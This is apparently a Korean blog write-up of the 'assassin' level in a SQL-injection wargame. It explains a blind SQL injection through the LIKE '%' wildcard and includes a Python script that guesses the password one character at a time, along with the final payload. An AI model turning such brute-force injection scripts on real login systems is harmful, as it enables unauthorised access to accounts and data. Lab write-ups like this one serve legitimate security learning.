본문 바로가기
워게임/LoS

[los 문제풀이] assassin

by 그적 2021. 2. 15.

 

블라인드 SQL 문제이다.

 

GET방식으로 넘겨준 pw 파라미터에 따라서 id 값이 나온다고 한다. 

이 쿼리문에서 like 취약점인 % 연산자를 통해 pw 값을 알아낼 수 있다.

 

그럼 파이썬 코드를 짜볼까.

import requests

URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
header = {"Cookie" : "PHPSESSID=....."}
check = 0
flag = ''

while True:
    for flag_num in range(48, 122):
        tmp = flag + chr(flag_num) + '%'
        para = {'pw' : tmp}

        response = requests.get(URL, params=para, headers=header)
        
        if("Hello admin" in response.text):
            flag += chr(flag_num)
            print("end >> ", flag)
            check = 1
            
        
        if("Hello guest" in response.text):
            flag += chr(flag_num)
            print("pw : ", flag)
            break

    if check == 1 :
        break

    
    

위의 파이썬 코드를 실행하니, 다음과 같은 결과가 나왔다.

(뭔가 코드가 잘못되긴 했나 보다. while문을 안 빠져나오네.. )

 

?pw=902EF_%  를 url에 붙여줬다.

클리어

 

'워게임 > LoS' 카테고리의 다른 글

[los 문제풀이] zombie_assassin  (0) 2021.03.08
[los 문제풀이] succubus  (0) 2021.03.07
[los 문제풀이] giant  (1) 2020.08.14
[los 문제풀이] SKELETON  (0) 2020.04.29
[los 문제풀이] vampire  (0) 2020.04.29

댓글